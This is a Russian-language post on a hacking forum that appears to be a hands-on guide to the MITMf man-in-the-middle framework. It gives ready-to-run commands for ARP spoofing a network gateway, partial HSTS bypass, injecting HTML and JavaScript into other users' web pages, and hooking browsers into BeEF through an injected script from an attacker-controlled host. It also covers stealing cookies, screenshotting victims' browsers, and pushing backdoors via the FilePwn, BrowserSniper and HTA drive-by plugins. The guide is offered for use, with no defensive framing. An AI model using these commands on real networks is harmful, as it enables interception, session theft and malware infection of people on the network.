Инструкция по использованию MITMf

  • Автор темы HHIDE_DUMP
  • Дата начала
  • Просмотры 625
  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

HHIDE_DUMP

Гость
H

HHIDE_DUMP

Гость
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
— это фреймворк для атак человек-посередине (Man-In-The-Middle). Он предназначен для тех же задач, что и
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
. Только работа в MITMf, по сравнению с Ettercap, проще.​
Также при использовании Ettercap для атаки человек-посередине мы практически каждый раз запускали ещё одну или несколько программ, поскольку базовой функциональности Ettercap нам не хватало. С MITMf такого не будет – теперь только одна консоль, в которой только один фреймворк.

На самом деле, мы встретим практически всех наших знакомых из инструкции по Ettercap:
Но здесь все они являются модулями, которые запускаются опциями командной строки или через API.

Кстати, здесь вы найдёте не только обзор плагинов, сюда добавлен материал, который отсутствует даже в официальной документации.



Установка MITMf
Ранее программа работала только при установке из исходников. Судя по всему, в последнее время ситуация изменилась, и установленная из репозиториев программа успешно запускается. В Kali Linux сначала попробуйте так:

Код:
sudo apt-get install mitmf mitmflib
sudo mitmf --help
Если ошибок нет и показана справка, значит не нужно устанавливать из исходников, как это показано чуть ниже. В этом случае sudo python mitmf.py из моих примеров нужно заменять на mitmf. Сразу переходите к разделу "Начало работы с MITMf".

Далее показан процесс установки из исходный кодов — теперь это только для тех, у кого не работает версия из стандартных репозиториев.

Следующие инструкции являются результатом чтения официальной документации, а также метода проб и ошибок. Нужно делать именно так, как в них написано – тогда точно заработает.

В Kali Linux если вы работаете из-под рута, то устанавливать и запускать программу нужно так:

Код:
apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents
pip install virtualenvwrapper
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help
При последующих перезагрузках системы запускать так:

— переходите в каталог со скаченной программой, к примеру:
Код:
cd bin/MITMf/
— далее:
Код:
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help
Если вы работаете под обычным пользователем, то нужно делать так:
Код:
sudo apt-get install python-dev python-setuptools libpcap0.8-dev libnetfilter-queue-dev libssl-dev libjpeg-dev libxml2-dev libxslt1-dev libcapstone3 libcapstone-dev libxml2-dev libxslt1-dev python-dnslib python-magic python-netfilterqueue python-ua-parser python-user-agents
sudo pip install virtualenvwrapper
sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
sudo pip install requests[security]
git clone https://github.com/byt3bl33d3r/MITMf
cd MITMf && git submodule init && git submodule update --recursive
pip install -r requirements.txt
python mitmf.py --help
При последующих перезагрузках системы запускать так:

— переходите в каталог со скаченной программой, к примеру:
Код:
cd bin/MITMf/
— далее:
Код:
sudo -s
source /usr/local/bin/virtualenvwrapper.sh
mkvirtualenv MITMf -p /usr/bin/python2.7
python mitmf.py --help


Начало работы с MITMf
Давайте начнём с чего-нибудь совсем простого и весёлого.

Практически с каждой командой мы будем использовать одни и те же четыре опции. Первой из них является -i, после которой нужно указать свой сетевой интерфейс (например, eth0). Если вы не знаете имя сетевого интерфейса на вашем компьютере, то посмотрите его командой:
Код:
ip a
Также мы будем использовать два ключа --spoof --arp. Первый означает загрузить плагин 'Spoof'. А второй – перенаправить трафик используя ARP спуфинг. Это аналогично тому, как мы начинали атаку с Ettercap. Ещё мы будем использовать опцию --gateway, после которой нужно указать адрес шлюза. Обычно это IP адрес роутера. Чаще всего это адрес 192.168.1.1 или 192.168.0.1. Если вы не уверены, то посмотрите его командой
Код:
ip r
Итак, в своём базовом варианте команда в моём случае выглядит так:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1
В дальнейшем к ней я буду только добавлять разные опции для включения разнообразных плагинов.

Как видим, программа работает и мы перехватили базовую аутентификацию:


Кстати, не нужно запускать отдельно
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
– он уже встроен в MITMf.

Давайте остановим программу и сделаем что-нибудь наглядное. Например, перевернём изображения на всех сайтах (кроме тех, кто использует HTTPS). Для этого к нашей команде добавим ключ --upsidedownternet.
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --upsidedownternet
Теперь в логах появляются записи вроде такой:
2018-06-19 09:17:29 192.168.1.33 [type:Chrome-51 os:Windows] [Upsidedownternet] Flipped image



А веб-сайты выглядят так:





Частичный обход HSTS
Для этого достаточно добавить два ключа --dns --hsts. Команда приобретает вид:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts
Чтобы получить перевёрнутые изображения даже на сайтах с HTTPS:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --upsidedownternet
Как и другие, опции --dns --hsts можно комбинировать с другими плагинами.


Вставка произвольного содержимого в веб-страницы
Для этого имеется плагин Inject с разнообразными опциями. Для загрузки плагина нам нужно указать --inject, а также дополнительно следующие ключи:
Код:
--js-url JS_URL       URL JS для инжекта

--js-payload JS_PAYLOAD  JS строка для инжекта

--js-file JS_FILE     Файл, содержащий JS для инжекта

--html-url HTML_URL   URL HTML для инжекта

--html-payload HTML_PAYLOAD        HTML строка для инжекта

--html-file HTML_FILE
                      Файл, содержащий HTML для инжекта

--per-domain          Вставить один раз на домен для одного клиента.

--rate-limit RATE_LIMIT
                      Вставить один раз каждые RATE_LIMIT секунд на одного клиента.

--count-limit COUNT_LIMIT
                      Вставить только COUNT_LIMIT раз на одного клиента.

--white-ips IP        Вставить контент ТОЛЬКО для этих IP (разделять запятыми)

--black-ips IP        НЕ вставлять содержимое для этих IP (разделять запятыми)

--white-domains ДОМЕНЫ
                      Вставлять контент ТОЛЬКО для этих доменов (разделять запятыми)

--black-domains ДОМЕНЫ
                      НЕ вставлять контент для этих доменов (разделять запятыми)
Например, я хочу вставить во все сайты строку <p>I am cool!</p>. Тогда моя команда имеет вид:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --inject --html-payload '<p>I am cool!</p>'


Подцепление программой
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
делается следующим образом (не забудьте отредактировать данные под ваши значения):
Код:
--js-url http://beef:3000/hook.js


Захват кукиз
Для этого имеется плагин Ferret-NG, который запускается опцией --ferretng. Например:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --ferretng


Создание скриншотов сайтов
Плагин ScreenShotter использует HTML5 Canvas для отображения точного скриншота клиентских браузеров. Плагин загружается опцией --screen:
Код:
sudo python mitmf.py -i eth0 --spoof --arp --gateway 192.168.1.1 --dns --hsts --screen
С помощью дополнительной опции --interval можно указать интервал в секундах для создания скриншотов (по умолчанию 10).



Заражение бэкдорами
Для этого есть целых три плагина (плюс можно придумать собственные атаки через инжект в HTML код различного содержимого). Это плагины:

  • FilePwn (Будет отправлен исполнимый бэкдор через http используя bdfactory)
  • BrowserSniper (Выполняет атаки на клиенты легендой об устаревшем плагине браузера)
  • HTA Drive-By (Выполнить атаку с HTA на клиентах)
На мой взгляд, автор MITMf уже сделал всё возможное для того, чтобы использование плагинов в фреймворке было весьма простым. Думаю, на этом можно остановиться в характеристике плагинов. Полный их список, а также список доступных опций и дополнительные примеры вы найдёте в
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
в
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
.



Куда MITMf сохраняет захваченные данные и изображения
Абсолютно всё полезное (даже то, чего вы не ждали, например, DNS запросы) MITMf сохраняет в поддиректорию logs в своей директории (например, у меня это /home/mial/bin/MITMf/logs/).



Настройка MITMf
В поддиректории config вы найдёте несколько файлов с настройками. Большинство опций можно поменять в командной строке, но некоторые удобнее отредактировать там. Кроме основного конфигурационного файла MITMf, там вы найдёте файлы для Responder и пример файла для HTA Drive-By.

В основном файле настроек MITMf (mitmf.conf) вы можете поменять значения для BeEF (хост, порт, имя и пароль), Metasploit (хост, порт, пароль), MITMf-API (хост, порт), DNS (добавить разнообразные записи для спуфинга DNS ответов) и другие настройки для разнообразных плагинов, входящих в фреймворк MITMf.


Замена HTML при атаке человек-посередине
Для замены содержимого веб-страниц имеется плагин Replace. Он активируется опцией --replace, а настраивается в файле mitmf.conf. В этом файле уже есть два правила:
Код:
[Replace]

[[Regex1]]

    'Google Search' = '44CON'

[[Regex2]]

    "I'm Feeling Lucky" = "I'm Feeling Something In My Pants"
Вот результат их работы:


В инструкции по Ettercap я приводил три примера замены: замена заголовка, добавление данных и подцепление BeEF. Все три примера можно реализовать следующими строками:
Код:
[[Regex3]]

    "<title>.*</title>" = "<title>No Title</title>"

[[Regex4]]

    "<body.*?>" = "<body><p>I am cool!</p>"

[[Regex5]]

    "</head>" = "<script src="http://192.168.1.36:3000/hook.js"></head>"

Здесь можно использовать регулярные выражения для поиска.


API MITMf
Чтобы включить или отключить какой-либо плагин, вам не нужно перезапускать MITMf, это можно сделать с использованием API. Для получения списка активных и неактивных плагинов запросите страницу
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
Это можно сделать открыв её в браузере или в командной строке:
Код:
curl http://127.0.0.1:9999/


Чтобы получить статус какого-то конкретного плагина, то можно сделать так, открыть в браузере страницу
Код:
http://127.0.0.1:9999/имя_плагина
Например,
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

А также так:
curl
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!




Добавляя через слеш нолики и единички можно, соответственно, отключать и включать любые плагины:

curl
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!


curl
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!



Фильтры MITMf
В MITMf с помощью плагинов Inject и Replace можно реализовать практически всё, что обычно требуется при вставке/замене HTML. Тем не менее, это не всё! Теперь с помощью Scapy вы можете модифицировать любой пакет/протокол, которые перехватывает MITMf! Более того, вы можете изменять фильтры на лету – без перезапуска MITMf.

Scapy даёт потрясающую гибкость и, пожалуй, безграничные возможности (конечно, если вы умеете пользоваться Scapy).

В качестве примере возьмём крошечный глупый фильтр, который изменяет IP назначения ICMP пакетов:

Код:
if packet.haslayer(ICMP):



    log.info('Got an ICMP packet!')



    packet.dst = '192.168.1.0'
  • Используйте переменную packet для доступа к пакетам в формате совместимым с Scapy
  • Используйте переменную data для доступа к сырым данным пакета
Для использования фильтра нужно сделать так:
Код:
python mitmf.py -F ~/filter.py


Скорее всего вы захотите комбинировать это с плагином Spoof для действительного перехвата пакетов от кого-то ещё



Решение проблем и ошибок при запуске MITMf
Решение проблемы «Error starting HTTP server: [Errno 98] Address already in use»

Если при запуске MITMf вы видите сообщение:
Error starting HTTP server: [Errno 98] Address already in use



Оно означает, что на вашей системе уже запущен веб-сервер. Этим веб-сервером может быть Apache, hostapd, Nginx. Даже если вы не помните, что устанавливали какой-либо из них, это могло произойти при установке зависимостей для других инструментов. К примеру, пакет hostapd является зависимостью для
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
,
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
,
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
(и других). Если вы используете VPS и готовую установку одного из дистрибутивов, то обычно в них уже предустановлен веб-сервер.

Если вы знаете название веб-сервера, то его можно остановить командой:
Код:
sudo systemctl stop название_службы_веб_сервера
Для Apache в Kali Linux / Debian / Ubuntu / Linux Mint это делается командой:
Код:
sudo systemctl stop apache2.service
Для Apache в Arch Linux / BlackArch это делается командой
Код:
sudo systemctl stop httpd.service
Если вы не знаете название веб-сервера, то проверьте, какая команда прослушивает 80й порт:
Код:
sudo ss -pnat


Найдите запись, содержащую :::80 (здесь может быть также указан конкретный IP адрес вашего компьютера):
Код:
LISTEN     0      128                             :::80                                          :::*                   users:(("apache2",pid=9238,fd=4),("apache2",pid=9237,fd=4),("apache2",pid=9236,fd=4),("apache2",pid=9235,fd=4),("apache2",pid=9234,fd=4),("apache2",pid=9233,fd=4),("apache2",pid=9194,fd=4))
Ещё пример:
Код:
LISTEN     0      128                                                                :::80                                                                             :::*                   users:(("httpd",pid=29253,fd=4),("httpd",pid=21426,fd=4),("httpd",pid=20863,fd=4),("httpd",pid=19910,fd=4),("httpd",pid=19078,fd=4),("httpd",pid=6671,fd=4),("httpd",pid=6665,fd=4),("httpd",pid=6510,fd=4),("httpd",pid=6242,fd=4),("httpd",pid=6239,fd=4),("httpd",pid=6235,fd=4),("httpd",pid=6234,fd=4),("httpd",pid=341,fd=4))
Как видно, в первом случае служба называется apache2, во втором – httpd. Т.е. именно их нужно остановить командой:
Код:
sudo systemctl stop название_службы_веб_сервера


Решение проблемы с ошибкой «Couldn't listen on any:10000: [Errno 98] Address already in use.»

Если при запуске MITMf вы видите ошибку:
Код:
Couldn't listen on any:10000: [Errno 98] Address already in use.


Это означает, что уже запущен другой экземпляр MITMf.
Простой способ – перезагрузить компьютер и снова попробовать запустить MITMf.
Правильный способ, это закрыть процесс без перезагрузки компьютера. Выполните команду:
Код:
sudo ss -pnat


Появятся записи о прослушиваемых портах, программах и их pid. Найдите записи с MITMf. Пример:
Код:
LISTEN     0      5                     192.168.0.69:445                                          *:*                   users:(("mitmf.py",pid=6986,fd=38))

LISTEN     0      5                     192.168.0.69:139                                          *:*                   users:(("mitmf.py",pid=6986,fd=39))

LISTEN     0      128                      127.0.0.1:9999                                         *:*                   users:(("mitmf.py",pid=6986,fd=32))

LISTEN     0      5                     192.168.0.69:80                                           *:*                   users:(("mitmf.py",pid=6986,fd=33))

LISTEN     0      50                               *:10000                                        *:*                   users:(("mitmf.py",pid=6986,fd=13))
И закройте их все командой kill. Пример для моего случая:
Код:
sudo kill 6986


Заключение
Инструкция получилась не слишком большой (я рад!), но это не означает, что у MITMf маленькая функциональность. Напротив, с MITMf мы может сделать абсолютно всё, для чего в Ettercap нам нужны были разнообразные программы. И даже больше! После понимания принципов работы MITMf, работа с ним становиться интуитивно понятной и достаточно обычной справки, чтобы освоить новый плагин.
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя